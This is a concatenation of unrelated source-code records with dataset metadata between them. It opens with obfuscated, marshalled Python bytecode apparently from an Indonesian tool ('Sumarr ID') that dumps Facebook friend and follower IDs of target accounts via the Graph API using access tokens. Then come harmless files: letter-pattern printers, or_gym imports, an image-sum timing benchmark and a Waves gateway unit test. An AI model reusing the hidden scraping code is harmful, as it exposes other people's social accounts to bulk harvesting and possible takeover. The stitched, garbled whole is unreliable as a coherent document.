00d\x13\x00\x83\x01\x00\x01q\xed\x00W|\x07\x00j\x16\x00\x83\x00\x00\x01d\x14\x00t\x02\x00t\x0f\x00t\x02\x00t\x0f\x00|\x05\x00d\x10\x00\x19f\x05\x00\x16GHd\x15\x00t\x02\x00t\x0f\x00t\x02\x00t\x0f\x00|\x06\x00f\x05\x00\x16GHd\x16\x00GHt\x17\x00\x83\x00\x00j\x18\x00\x83\x00\x00\x01Wn-\x00\x04t\x19\x00k\n\x00r\xe9\x01\x01}\x0b\x00\x01d\x17\x00t\x02\x00\x16GHt\x04\x00d\x18\x00\x83\x01\x00\x01t\x1a\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x19\x00\x00\x00NR\t\x01\x00\x00s=\x00\x00\x00\n%s [%s!%s] Ketik \'%sme%s\' jika ingin dump followers sendiri s\x13\x00\x00\x00 [*] Target id : %ss\x16\x00\x00\x00 %s[*] Maximal id : %ss-\x00\x00\x00https://graph.facebook.com/%s?access_token=%ss\x05\x00\x00\x00dump/t\n\x00\x00\x00first_names\x05\x00\x00\x00.jsonRo\x00\x00\x00R\n\x01\x00\x00R\x1f\x00\x00\x00sB\x00\x00\x00https://graph.facebook.com/%s/subscribers?limit=%s&access_token=%sR\x1e\x00\x00\x00RI\x00\x00\x00s\x03\x00\x00\x00<=>R0\x00\x00\x00s\x01\x00\x00\x00\ns\x1f\x00\x00\x00\r%s [*] mengumpulkan id :%s %s g{\x14\xaeG\xe1zt?s)\x00\x00\x00\n\n %s[%s\xe2\x88\x9a%s] Succes dump id dari : %s%ss)\x00\x00\x00 %s[%s\xe2\x88\x9a%s] Name dump tersimpan :%s %s s#\x00\x00\x00 [!] Masukan file dump di bawah inis\x16\x00\x00\x00\n %s [!] gagal dump ids\x13\x00\x00\x00 [\xe2\x80\xa2] Back to menu(\x1b\x00\x00\x00R \x00\x00\x00R!\x00\x00\x00R*\x00\x00\x00R_\x00\x00\x00R6\x00\x00\x00R9\x00\x00\x00R:\x00\x00\x00R;\x00\x00\x00R\x0b\x00\x00\x00R\\\x00\x00\x00Ru\x00\x00\x00R"\x00\x00\x00RI\x00\x00\x00R\xb3\x00\x00\x00R\x13\x00\x00\x00R\x18\x00\x00\x00R\x10\x00\x00\x00Rv\x00\x00\x00R\x11\x00\x00\x00R\x12\x00\x00\x00R\x14\x00\x00\x00R\x15\x00\x00\x00R\x0b\x01\x00\x00R\x87\x00\x00\x00R\xa1\x00\x00\x00R\x0e\x00\x00\x00R&\x00\x00\x00(\x0c\x00\x00\x00RA\x00\x00\x00RG\x00\x00\x00R\x0c\x01\x00\x00t\x05\x00\x00\x00batasRB\x00\x00\x00t\x02\x00\x00\x00nmRx\x00\x00\x00R\r\x01\x00\x00RF\x00\x00\x00R\x16\x00\x00\x00Ri\x00\x00\x00R\x0f\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDRc\x00\x00\x00\xb8\x02\x00\x00s:\x00\x00\x00\x00\x01\x03\x01\x11\x01\x03\x00\x04\x01\x03\x01\x18\x01\x10\x01\x16\x01\x19\x01\x12\x01\x1e\x01\x0f\x01\x1c\x01\x12\x01\x11\x01\x1d\x01!\x01\x1d\x01\r\x00\x0e\x01\n\x01\x1c\x01\x18\x01\x05\x01\x11\x01\x0f\x01\t\x01\n\x01c\x02\x00\x00\x00\x0b\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00s\xfb\x01\x00\x00y\x11\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xy\x94\x01d\x02\x00t\x02\x00t\x03\x00t\x02\x00t\x03\x00t\x02\x00f\x05\x00\x16GHt\x04\x00d\x03\x00t\x02\x00t\x05\x00f\x02\x00\x16\x83\x01\x00}\x02\x00t\x06\x00j\x07\x00d\x04\x00|\x02\x00|\x00\x00f\x02\x00\x16\x83\x01\x00}\x03\x00t\x08\x00j\t\x00|\x03\x00j\n\x00\x83\x01\x00}\x04\x00d\x05\x00|\x04\x00d\x06\x00\x19\x17d\x07\x00\x17j\x0b\x00d\x08\x00d\t\x00\x83\x02\x00}\x05\x00t\x0c\x00|\x05\x00d\n\x00\x83\x02\x00}\x06\x00t\x06\x00j\x07\x00d\x0b\x00|\x02\x00|\x00\x00f\x02\x00\x16\x83\x01\x00}\x07\x00t\x08\x00j\t\x00|\x07\x00j\n\x00\x83\x01\x00}\x08\x00x\x88\x00|\x08\x00d\x0c\x00\x19d\r\x00\x19D]x\x00}\t\x00t\r\x00j\x0e\x00|\t\x00d\x0e\x00\x19d\x0f\x00\x17|\t\x00d\x10\x00\x19\x17\x83\x01\x00\x01|\x06\x00j\x0f\x00|\t\x00d\x0e\x00\x19d\x0f\x00\x17|\t\x00d\x10\x00\x19\x17d\x11\x00\x17\x83\x01\x00\x01d\x12\x00t\x02\x00t\x03\x00t\x10\x00t\x11\x00t\r\x00\x83\x01\x00\x83\x01\x00f\x03\x00\x16Gt\x12\x00j\x13\x00j\x14\x00\x83\x00\x00\x01t\x15\x00d\x13\x00\x83\x01\x00\x01q\xde\x00W|\x06\x00j\x16\x00\x83\x00\x00\x01d\x14\x00t\x02\x00t\x03\x00t\x02\x00t\x03\x00|\x04\x00d\x10\x00\x19f\x05\x00\x16GHd\x15\x00t\x02\x00t\x03\x00t\x02\x00t\x03\x00|\x05\x00f\x05\x00\x16GHd\x16\x00t\x02\x00\x16GHt\x17\x00\x83\x00\x00j\x18\x00\x83\x00\x00\x01WnE\x00\x04t\x19\x00k\n\x00r\xf6\x01\x01}\n\x00\x01t\x1a\x00d\x17\x00t\x02\x00\x16\x83\x01\x00\x01d\x18\x00t\x02\x00t\x05\x00f\x02\x00\x16GHt\x04\x00d\x19\x00t\x02\x00\x16\x83\x01\x00\x01t\x1b\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x1a\x00\x00\x00NR\t\x01\x00\x00s>\x00\x00\x00\n%s [%s!%s] Ketik %sme%s jika ingin dump daftar teman sendiri s\x17\x00\x00\x00 %s[\xe2\x80\xa2] Target id : %ss-\x00\x00\x00https://graph.facebook.com/%s?access_token=%ss\x05\x00\x00\x00dump/R\x0e\x01\x00\x00s\x05\x00\x00\x00.jsonRo\x00\x00\x00R\n\x01\x00\x00R\x1f\x00\x00\x00sH\x00\x00\x00https://graph.facebook.com/%s?fields=friends.limit(5001)&access_token=%st\x07\x00\x00\x00friendsR\x1e\x00\x00\x00RI\x00\x00\x00s\x03\x00\x00\x00<=>R0\x00\x00\x00s\x01\x00\x00\x00\ns\x1a\x00\x00\x00\r%s [!] Mencari Id :%s %s g{\x14\xaeG\xe1zt?s)\x00\x00\x00\n\n %s[%s\xe2\x80\xa2%s] Succes dump id dari : %s%ss(\x00\x00\x00%s [%s\xe2\x80\xa2%s] Name dump tersimpan :%s %s s\'\x00\x00\x00%s [\xe2\x80\xa2] Masukan Name dump di bawah inis\x15\x00\x00\x00\n %s[!] gagal dump ids+\x00\x00\x00%s [!] %sNote : Carilah Id 2000/3000 lebih s\x0e\x00\x00\x00%s [\xe2\x80\xa2] Menu (\x1c\x00\x00\x00R \x00\x00\x00R!\x00\x00\x00R*\x00\x00\x00R_\x00\x00\x00R6\x00\x00\x00R\x18\x00\x00\x00R9\x00\x00\x00R:\x00\x00\x00R;\x00\x00\x00R\x0b\x00\x00\x00R\\\x00\x00\x00Ru\x00\x00\x00R"\x00\x00\x00RI\x00\x00\x00R\xb3\x00\x00\x00R\x13\x00\x00\x00R\x10\x00\x00\x00Rv\x00\x00\x00R\x11\x00\x00\x00R\x12\x00\x00\x00R\x14\x00\x00\x00R\x15\x00\x00\x00R\x0b\x01\x00\x00R\x87\x00\x00\x00R\xa1\x00\x00\x00R\x0e\x00\x00\x00R\x17\x00\x00\x00R&\x00\x00\x00(\x0b\x00\x00\x00RA\x00\x00\x00RG\x00\x00\x00R\x0c\x01\x00\x00RB\x00\x00\x00R\x10\x01\x00\x00Rx\x00\x00\x00R\r\x01\x00\x00RF\x00\x00\x00R\x16\x00\x00\x00Ri\x00\x00\x00R\x0f\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDRb\x00\x00\x00\xd5\x02\x00\x00s:\x00\x00\x00\x00\x01\x03\x01\x11\x01\x03\x00\x04\x01\x03\x01\x18\x01\x16\x01\x19\x01\x12\x01\x1e\x01\x0f\x01\x19\x01\x12\x01\x15\x01\x1d\x01!\x01\x1d\x01\r\x00\x0e\x01\n\x01\x1c\x01\x18\x01\t\x01\x11\x01\x0f\x01\x0e\x01\x0f\x01\x0e\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\x1f\x00\x00\x00d\x01\x00GHd\x02\x00GHt\x00\x00d\x03\x00\x83\x01\x00\x01t\x01\x00\x83\x00\x00\x01d\x00\x00S(\x04\x00\x00\x00Ns<\x00\x00\x00\x1b[1;97m\n [\x1b[1;94m\xe2\x80\xa2\x1b[1;97m] Can Only Take \x1b[91m100 \x1b[00mID s\x18\x00\x00\x00[!] belum jadi anjing :(s\n\x00\x00\x00[!] Enter (\x02\x00\x00\x00R6\x00\x00\x00R&\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDRh\x00\x00\x00\xf3\x02\x00\x00s\x08\x00\x00\x00\x00\x01\x05\x01\x05\x01\n\x01c\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00C\x00\x00\x00s\x04\x00\x00\x00|\x00\x00S(\x01\x00\x00\x00N(\x00\x00\x00\x00(\x01\x00\x00\x00R\x04\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\x05\x00\x00\x00\xf9\x02\x00\x00R\x06\x00\x00\x00s\x80\x02\x00\x00eJx1Us1q20AQnrFkO3ZS00MI8c3QBkTBFr30UNo0aQ4NFHJIKC25CEW7lmXLWkU7QqQop/TUF0ifoA/WJ+nMOv2B0oX5kfabb2Z2JoGHgyxHLHaflQL4AnDJTgdQIVx2xLsYBB5fJqK6LD2WEwn5zurmGxDAEoHhLcAe4zME4kAPXtwh3nrQerD04I5ZfRirLoxvfWh9UD0Yxxuvz/+3+KsLLQcOYNWByoIaAvWEtGXCLsx92Ht3Wjx1mG2HuXeY/j8YgI9FHxCxQPjETV0EO1zqmX3CekFU2pdh2DTNLCssxWkVr2eJWYcHNnwTRfHr58zIOB0rXVk7ZP+D1dX0ONUFuSuOKBfXOfns13zF3QJkih6z0SrV0dzkuWm0iq5uSF4sMTWHbrH3VleL2Ga5K+XRgZ08m04PJ2x/3H/9y/w+JOlPFjpZlSYrKBAOR1Tp61pbsiRTSTXR9kMxUSx1fnbFLa0pHCBTqYsqdZFmq5pIxn7q9PtAKjyXFlwfZUMyYH4Yqjfsil1/Y6NAdsYpO2IVWpXElQqvDM3KTa9Zkc4N/tooQK8zwV0c4gh3cF+k46MnO8IDcXt1viupJcGZKbRLnpuSaf7k+m9C6enV2qg614cup9AMRj7+BEx1j/c=t\x08\x00\x00\x00__main__s\x08\x00\x00\x00git pullR(\x00\x00\x00s@\x00\x00\x00%s[%s!%s] gunakan dengan bijak Author tidak bertanggung jawab !!s!\x00\x00\x00%s[%s!%s] atas yang kamu lakukan s\x0c\x00\x00\x00%s[!] Enter (P\x00\x00\x00R*\x00\x00\x00t\x01\x00\x00\x00mt\x01\x00\x00\x00hR\x18\x00\x00\x00R5\x00\x00\x00R_\x00\x00\x00t\x01\x00\x00\x00jR\xfc\x00\x00\x00R \x00\x00\x00R9\x00\x00\x00t\x0b\x00\x00\x00ImportErrorR%\x00\x00\x00t\x12\x00\x00\x00concurrent.futurest\n\x00\x00\x00concurrentR\xd4\x00\x00\x00R\xd6\x00\x00\x00R\x11\x00\x00\x00R;\x00\x00\x00R)\x00\x00\x00R\xae\x00\x00\x00R\x03\x00\x00\x00t\n\x00\x00\x00subprocesst\x07\x00\x00\x00loggingR\t\x00\x00\x00R\x00\x00\x00\x00R\x01\x00\x00\x00t\x06\x00\x00\x00parserR\x02\x00\x00\x00R\x15\x00\x00\x00R\n\x01\x00\x00t\x04\x00\x00\x00typet\t\x00\x00\x00func_codet\x04\x00\x00\x00codeR\x9d\x00\x00\x00R\xb7\x00\x00\x00R\xf6\x00\x00\x00R\xf4\x00\x00\x00t\x02\x00\x00\x00crR\xb2\x00\x00\x00R\xb5\x00\x00\x00RI\x00\x00\x00R\xb1\x00\x00\x00R\xf3\x00\x00\x00R\x17\x00\x00\x00R\x1c\x00\x00\x00R$\x00\x00\x00R\'\x00\x00\x00R:\x00\x00\x00R\\\x00\x00\x00R`\x00\x00\x00R+\x00\x00\x00R\x10\x00\x00\x00R\xaf\x00\x00\x00R[\x00\x00\x00R>\x00\x00\x00t\x03\x00\x00\x00nowt\x08\x00\x00\x00strftimeRa\x00\x00\x00t\x07\x00\x00\x00currentR\xbf\x00\x00\x00t\x05\x00\x00\x00tahunR\xbd\x00\x00\x00t\x05\x00\x00\x00bulanR\xbe\x00\x00\x00t\x04\x00\x00\x00hariRD\x00\x00\x00RE\x00\x00\x00R&\x00\x00\x00Rg\x00\x00\x00Rf\x00\x00\x00Re\x00\x00\x00R\x7f\x00\x00\x00R\x87\x00\x00\x00R\xfd\x00\x00\x00Rd\x00\x00\x00Rc\x00\x00\x00Rb\x00\x00\x00Rh\x00\x00\x00R\xe4\x00\x00\x00R6\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x08\x00\x00\x00<module>\x07\x00\x00\x00s\x8a\x00\x00\x00\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x07\x10\x01\x0c\x01\x03\x01\x10\x01\r\x01\x11\x01\x03\x01\x10\x01\r\x01\x11\x01\x03\x01\x10\x01\r\x01\x11\x01\x90\x01\x10\x01\x10\x01\x10\x01\x10\x01\t\x00\x0f\x00Z\x00\x07\x01B\x01\t\x04\t\x06\t\x0b\t\x04\x12\x01\t\rt\x01\t\x16\x1b\x01\t\x01\t\x01\t\x02\t\x0e\t\x05\tH\t\x1c\t\x15\t\x06\t!\x13\xff\x001\tK\x04\x02\x0c\x1c\x0c\x1d\x0c\x1e\t\x06\t\x00\x0f\x00Z\x00\x07\x02\x0c\x01\r\x01\r\x01\x17\x01\x17\x01\x0e\x01\x07\x01'))

10,147.111111

91,250

0.752387

19,798

91,324

3.457976

0.068795

0.228305

0.097282

0.047326

0.716014

0.662538

0.589343

0.544996

0.511985

0.479937

0

0.375502

0.015932

91,324

8

91,251

11,415.5

0.386284

0.000515

0

11.5

0.64764

0.546284

0

1

0

1

0

true

0.5

1

0

1

0

null

1

0

1

0

1

0

1

null

1

0

1

0

13

6848b27c32e90930decce25ee21b8a0721d2d5c1

7,063

py

Python

pypattern/Capital_letters/__init__.py

fazil2003/pypattern

5a7adf8d902117fba9e92c83f84e9e29bf68597a

[ "MIT" ]

1

2020-09-26T16:50:27.000Z

pypattern/Capital_letters/__init__.py

fazil2003/pypattern

5a7adf8d902117fba9e92c83f84e9e29bf68597a

[ "MIT" ]

null

pypattern/Capital_letters/__init__.py

fazil2003/pypattern

5a7adf8d902117fba9e92c83f84e9e29bf68597a

[ "MIT" ]

null

def pattern_A(char='*'): for i in range(7): for j in range(7): if (j == 0 or j == 6) and (i > 0) or (i == 0 or i == 3) and (j > 0 and j < 6): print(char, end="") else: print(end=" ") print() def pattern_B(char='*'): for i in range(5): for j in range(6): if j == 0 or (i == 0 or i == 2 or i == 4) and (j < 5) or j == 5 and (i > 0 and i < 4 and i != 2): print(char, end="") else: print(end=" ") print() def pattern_C(char='*'): for i in range(6): for j in range(7): if (j == 0 and i != 0 and i != 5) or (i == 0 or i == 5) and (j > 1 and j < 5) or (i == 1 or i == 4) and ( j > 5): print(char, end="") else: print(end=" ") print() def pattern_D(char='*'): for i in range(6): for j in range(6): if j == 0 and (i > 0 and i < 5) or (i == 0 or i == 5) and (j < 4) or j == 5 and (i != 0 and i != 5): print(char, end="") else: print(end=" ") print() def pattern_E(char='*'): for i in range(5): for j in range(6): if j == 0 or i == 0 or i == 2 or i == 4: print(char, end="") else: print(end=" ") print() def pattern_F(char='*'): for i in range(6): for j in range(6): if j == 0 or i == 0 or (i == 2 and j < 5): print(char, end="") else: print(end=" ") print() def pattern_G(char='*'): for i in range(8): for j in range(7): if j == 0 and (i > 1 and i < 5) or (i == 1 or i == 5) and ((j > 0 and j < 2) or j > 5) or ( i == 0 or i == 6) and (j > 2 and j < 6) or (i == 4 and j > 3) or (i == 7 and j > 5): print(char, end="") else: print(end=" ") print() def pattern_H(char='*'): for i in range(7): for j in range(7): if (j == 0 or j == 6 or i == 3): print(char, end="") else: print(end=" ") print() def pattern_I(char='*'): for i in range(7): for j in range(7): if i == 0 or i == 6 or j == 3: print(char, end="") else: print(end=" ") print() def pattern_J(char='*'): for i in range(6): for j in range(5): if (j == 4 and i != 5) or (i == 5 and (j > 0 and j < 4)) or i == 4 and j < 1: print(char, end="") else: print(end=" ") print() def pattern_K(char='*'): for i in range(7): for j in range(5): if j == 0 or i + j == 4 or i - j == 2: print(char, end="") else: print(end=" ") print() def pattern_L(char='*'): for i in range(6): for j in range(6): if j == 0 or i == 5: print(char, end="") else: print(end=" ") print() def pattern_M(char='*'): for i in range(7): for j in range(7): if j == 0 or ((i - j == 0 or i + j == 6) and (i < 4)) or j == 6: print(char, end="") else: print(end=" ") print() def pattern_N(char='*'): for i in range(7): for j in range(7): if j == 0 or i - j == 0 or j == 6: print(char, end="") else: print(end=" ") print() def pattern_O(char='*'): for i in range(6): for j in range(9): if ((j == 0 or j == 8) and (i > 1 and i < 4)) or ((i == 0 or i == 5) and (j == 3 or j == 5)) or ( (i == 1 or i == 4) and (j == 1 or j == 7)): print(char, end="") else: print(end=" ") print() def pattern_P(char='*'): for i in range(7): for j in range(6): if (j == 0 and i != 0) or ((i == 0 or i == 3) and (j != 0) and (j < 5)) or ( (i == 1 or i == 2) and (j == 5 or j == 6)): print(char, end="") else: print(end=" ") print() def pattern_Q(char='*'): for i in range(7): for j in range(9): if ((j == 0 or j == 8) and (i > 1 and i < 4)) or ((i == 0 or i == 5) and (j == 3 or j == 5)) or ( (i == 1 or i == 4) and (j == 1 or j == 7)) or ((i - j == 0) and (i > 3 and i < 7)): print(char, end="") else: print(end=" ") print() def pattern_R(char='*'): for i in range(7): for j in range(7): if j == 0 or ((i == 0 or i == 3) and (j < 4)) or (i == 1 or i == 2) and ( j > 4 and j != 6) or i - j == 0 and i > 3: print(char, end="") else: print(end=" ") print() def pattern_S(char='*'): for i in range(7): for j in range(7): if ((i == 0 or i == 3 or i == 6) and (j != 0 and j != 6)) or (j == 0) and (i == 1 or i == 2 or i == 5) or ( j == 6) and (i == 4 or i == 5 or i == 1): print(char, end="") else: print(end=" ") print() def pattern_T(char='*'): for i in range(6): for j in range(7): if i == 0 or j == 3: print(char, end="") else: print(end=" ") print() def pattern_U(char='*'): for i in range(7): for j in range(7): if ((j == 0 or j == 6) and (i != 6)) or i == 6 and (j > 1 and j < 5): print(char, end="") else: print(end=" ") print() def pattern_V(char='*'): for i in range(7): for j in range(13): if i - j == 0 or i + j == 12: print(char, end="") else: print(end=" ") print() def pattern_W(char='*'): for i in range(7): for j in range(26): if i - j == 0 or i + j == 12 or i + j == 24 or (i - j == (-12)): print(char, end="") else: print(end=" ") print() def pattern_X(char='*'): for i in range(7): for j in range(7): if i - j == 0 or i + j == 6: print(char, end="") else: print(end=" ") print() def pattern_Y(char='*'): for i in range(7): for j in range(7): if ((i - j == 0 or i + j == 6) and i < 4) or j == 3 and (i > 3): print(char, end="") else: print(end=" ") print() def pattern_Z(char='*'): for i in range(7): for j in range(7): if i == 0 or i == 6 or i + j == 6: print(char, end="") else: print(end=" ") print()

26.453184

119

0.36132

1,071

7,063

2.358543

0.048553

0.077197

0.095012

0.10293

0.969121

0.936263

0.913698

0.904592

0.866983

0.847189

0

0.060356

0.467507

7,063

266

120

26.552632

0.611274

0

0.72093

0

0.007362

0

1

0.12093

false

0

0.12093

0.362791

0

null

0

1

0

1

0

null

0

7

6869c6eebe70c847a1f0f5981742793dd236c56c

359

py

Python

or_gym/envs/classic_or/__init__.py

grossmann-group/or-gym

8ebad3bdc84cc7787592d7bf347fdd39eb24d982

[ "MIT" ]

6

2020-12-03T21:08:39.000Z

2021-12-26T08:40:33.000Z

or_gym/envs/classic_or/__init__.py

grossmann-group/or-gym

8ebad3bdc84cc7787592d7bf347fdd39eb24d982

[ "MIT" ]

9

2020-09-21T19:03:54.000Z

2022-03-07T09:05:56.000Z

or_gym/envs/classic_or/__init__.py

grossmann-group/or-gym

8ebad3bdc84cc7787592d7bf347fdd39eb24d982

[ "MIT" ]

1

2022-03-12T13:40:50.000Z

from or_gym.envs.classic_or.knapsack import * from or_gym.envs.classic_or.binpacking import * from or_gym.envs.classic_or.vmpacking import * from or_gym.envs.classic_or.tsp import * from or_gym.envs.classic_or.vehicle_routing import VehicleRoutingEnv from or_gym.envs.classic_or._newsvendor import NewsvendorEnv from or_gym.envs.classic_or.newsvendor import *

51.285714

68

0.852368

59

359

4.915254

0.254237

0.144828

0.217241

0.313793

0.724138

0.648276

0.262069

0

0.075209

359

7

69

51.285714

0.873494

0

1

0

true

0

1

0

1

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

1

0

7

68a849ba7a4a1e1a17db5d9664d0d8442c34c90d

3,489

py

Python

devel/test_sum.py

hilltailor/22037-Camera-1

4a236bcb236071b3cc051dcce0756d3d9804ec0f

[ "MIT" ]

6

2021-03-03T21:42:26.000Z

2022-03-29T14:22:07.000Z

devel/test_sum.py

hilltailor/22037-Camera-1

4a236bcb236071b3cc051dcce0756d3d9804ec0f

[ "MIT" ]

1

2021-08-10T16:55:11.000Z

2021-11-06T22:04:55.000Z

devel/test_sum.py

hilltailor/22037-Camera-1

4a236bcb236071b3cc051dcce0756d3d9804ec0f

[ "MIT" ]

3

2021-03-19T00:22:57.000Z

2021-08-10T16:57:58.000Z

# # What is best method to determine the image intensity # It turns out unit8 image on cv 2.sumElems(img) is fastets, even faster than resizing image first and then summming # import numpy as np import time total = 0.0 for i in range(0,100): A=np.random.randint(0,255,(720,540),dtype=np.uint8) tic=time.perf_counter() stat=np.sum(A) toc=time.perf_counter() total = total + (toc-tic) print("NumPy uint8 {}".format(total/100.0)) #print(stat) total=0.0 for i in range(0,100): A=np.random.randint(0,255,(720,540),dtype=np.uint16) tic=time.perf_counter() stat=np.sum(A) toc=time.perf_counter() total = total + (toc-tic) print("NumPy uint16 {}".format(total/100.0)) #print(stat) total=0.0 for i in range(0,100): A=np.random.randint(0,255,(720,540),dtype=np.uint32) tic=time.perf_counter() stat=np.sum(A) toc=time.perf_counter() total = total + (toc-tic) print("NumPy uint32 {}".format(total/100.0)) #print(stat) total=0.0 for i in range(0,100): A=np.random.rand(720,540) tic=time.perf_counter() stat=np.sum(A) toc=time.perf_counter() total = total + (toc-tic) print("NumPy float {}".format(total/100.0)) #print(stat) print('') from PIL import ImageStat from PIL import Image total = 0.0 for i in range(0,100): A=Image.fromarray(np.random.randint(0,255,(720,540),dtype=np.uint8)) tic=time.perf_counter() stat=ImageStat.Stat(A) toc=time.perf_counter() total = total + (toc-tic) print("PIL uint8 {}".format(total/100.0)) #print(stat.sum) total=0.0 for i in range(0,100): A=Image.fromarray(np.random.randint(0,255,(720,540),dtype=np.uint16)) tic=time.perf_counter() stat=ImageStat.Stat(A) toc=time.perf_counter() total = total + (toc-tic) print("PIL uint16 {}".format(total/100.0)) #print(stat.sum) total=0.0 for i in range(0,100): A=Image.fromarray(np.random.randint(0,255,(720,540),dtype=np.uint32)) tic=time.perf_counter() stat=ImageStat.Stat(A) toc=time.perf_counter() total = total + (toc-tic) print("PIL uint32 {}".format(total/100.0)) #print(stat.sum) total=0.0 for i in range(0,100): A=Image.fromarray(np.random.rand(720,540)) tic=time.perf_counter() stat=ImageStat.Stat(A) toc=time.perf_counter() total = total + (toc-tic) print("PIL float {}".format(total/100.0)) #print(stat.sum) print('') import cv2 total = 0.0 for i in range(0,100): A=(np.random.randint(0,255,(720,540),dtype=np.uint8)) tic=time.perf_counter() stat=cv2.sumElems(A) toc=time.perf_counter() total = total + (toc-tic) print("CV2 uint8 {}".format(total/100.0)) #print(stat) total=0.0 for i in range(0,100): A=(np.random.randint(0,255,(720,540),dtype=np.uint16)) tic=time.perf_counter() stat=cv2.sumElems(A) toc=time.perf_counter() total = total + (toc-tic) print("CV2 uint16 {}".format(total/100.0)) #print(stat) total=0.0 for i in range(0,100): A=(np.random.rand(720,540)) tic=time.perf_counter() stat=cv2.sumElems(A) toc=time.perf_counter() total = total + (toc-tic) print("CV2 float {}".format(total/100.0)) #print(stat) print('') total = 0.0 for i in range(0,100): A=(np.random.randint(0,255,(180,135),dtype=np.uint8)) # Ah = cv2.resize(A,dsize=(180,135),interpolation = cv2.INTER_NEAREST) # Ah=A[0::4,0::4] tic=time.perf_counter() stat=cv2.sumElems(A) toc=time.perf_counter() total = total + (toc-tic) print("CV2 resize 0.25 uint8 {}".format(total/100.0))

27.046512

116

0.659501

604

3,489

3.768212

0.122517

0.084359

0.158172

0.052724

0.86819

0.859402

0.835237

0.80536

0

0.095788

0.156205

3,489

128

117

27.257813

0.67731

0.111493

0

0.721154

0

0.0568

0

1

0

false

0

0.048077

0

0.048077

0.144231

0

null

0

1

0

1

0

null

0

7

d7b6be189fc19e6178c78b474225b80755c17b96

16,759

py

Python

tests/service/test_waves_transaction_consumer_impl.py

roosmaa/WavesGatewayFramework

c214d62fd7c27431458c8ccac17902336500cf41

[ "MIT" ]

1

2020-01-03T01:15:09.000Z

tests/service/test_waves_transaction_consumer_impl.py

RiseVision/waves-gateway-framework

c214d62fd7c27431458c8ccac17902336500cf41

[ "MIT" ]

null

tests/service/test_waves_transaction_consumer_impl.py

RiseVision/waves-gateway-framework

c214d62fd7c27431458c8ccac17902336500cf41

[ "MIT" ]

null

import pywaves # type: ignore from logging import Logger from typing import cast from unittest import TestCase from unittest.mock import MagicMock, patch from waves_gateway.model import Transaction, TransactionReceiver, KeyPair, TransactionAttemptList, TransactionAttempt, \ TransactionAttemptReceiver, AttemptListTrigger from waves_gateway.service import WavesTransactionConsumerImpl, \ WavesChainQueryServiceImpl, FeeService, TransactionAttemptListService, AddressValidationService from waves_gateway.storage import TransactionAttemptListStorage class WavesTransactionConsumerImplTestMultiReceiver(TestCase): def setUp(self): self._coin_standard_fee = 7269 self._gateway_waves_receiver = TransactionReceiver("9823748", 923235) self._gateway_waves_address_secret = KeyPair(public="9238746", secret="9236478") self._coin_transaction_service = MagicMock() self._waves_chain_query_service = MagicMock(spec=WavesChainQueryServiceImpl) self._waves_transaction_storage = MagicMock() self._logger = MagicMock() self._gateway_coin_address_secret = KeyPair(public="9374682o", secret="sdkjrlig") self._coin_transaction_storage = MagicMock() self._gateway_owner_coin_holder = "23u4oi362" self._gateway_fee = 8793 self._gateway_owner_address = "923768" self._fee_service = MagicMock() self._only_one_transaction_receiver = False self._attempt_service = MagicMock() self._gateway_pywaves_address = MagicMock() self._gateway_pywaves_address.address = self._gateway_waves_receiver.address self._attempt_list_storage = MagicMock() self._coin_address_validation_service = MagicMock() self._waves_transaction_consumer_impl = WavesTransactionConsumerImpl( gateway_waves_address_secret=self._gateway_waves_address_secret, waves_chain_query_service=cast(WavesChainQueryServiceImpl, self._waves_chain_query_service), logger=cast(Logger, self._logger), gateway_owner_address=self._gateway_owner_address, gateway_coin_address_secret=self._gateway_coin_address_secret, fee_service=cast(FeeService, self._fee_service), only_one_transaction_receiver=cast(bool, self._only_one_transaction_receiver), attempt_service=cast(TransactionAttemptListService, self._attempt_service), gateway_pywaves_address=cast(pywaves.Address, self._gateway_pywaves_address), attempt_list_storage=cast(TransactionAttemptListStorage, self._attempt_list_storage), coin_address_validation_service=cast(AddressValidationService, self._coin_address_validation_service)) self._fee_service.get_coin_fee.return_value = self._coin_standard_fee self._fee_service.get_gateway_fee.return_value = self._gateway_fee def test_filter_transaction_already_exists(self): """ Should not pass a transaction that is existing in one of the attempt lists """ transaction = Transaction(tx="78265", receivers=[TransactionReceiver('28734', 7823)]) self._attempt_list_storage.gateway_transaction_exists.return_value = True res = self._waves_transaction_consumer_impl.filter_transaction(transaction) self.assertFalse(res) def test_filter_transaction_by_receiver_failure(self): """ Should not pass a transaction with only one receiver which does not equal the gateway address """ transaction = Transaction(tx="78265", receivers=[TransactionReceiver('28734', 7823)]) self._attempt_list_storage.gateway_transaction_exists.return_value = False res = self._waves_transaction_consumer_impl.filter_transaction(transaction) self._attempt_list_storage.find_by_trigger.assert_not_called() self.assertFalse(res) def test_filter_transaction_by_receiver_success(self): """ Should pass a transaction with a receiver that is addressed to the main gateway waves address """ transaction = Transaction(tx="78265", receivers=[self._gateway_waves_receiver]) self._attempt_list_storage.gateway_transaction_exists.return_value = False self._attempt_list_storage.find_by_trigger.return_value = None res = self._waves_transaction_consumer_impl.filter_transaction(transaction) self._attempt_list_storage.gateway_transaction_exists.assert_called_once_with(transaction.tx) self.assertTrue(res) def test_handle_transaction(self): _filter_receivers = MagicMock(return_value=[0]) _handle_receiver = MagicMock() transaction = Transaction(tx="78265", receivers=[self._gateway_waves_receiver]) with patch.multiple( self._waves_transaction_consumer_impl, _filter_receivers=_filter_receivers, _handle_receiver=_handle_receiver): self._waves_transaction_consumer_impl.handle_transaction(transaction) _filter_receivers.assert_called_once_with(transaction) _handle_receiver.assert_called_once_with(transaction.tx, self._gateway_waves_receiver, 0, None) 